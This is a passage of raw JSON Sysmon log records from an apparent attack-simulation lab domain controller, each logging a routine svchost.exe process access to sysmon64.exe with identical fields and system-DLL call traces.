C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1374,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1375,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.731\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.731","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.731\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.731","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 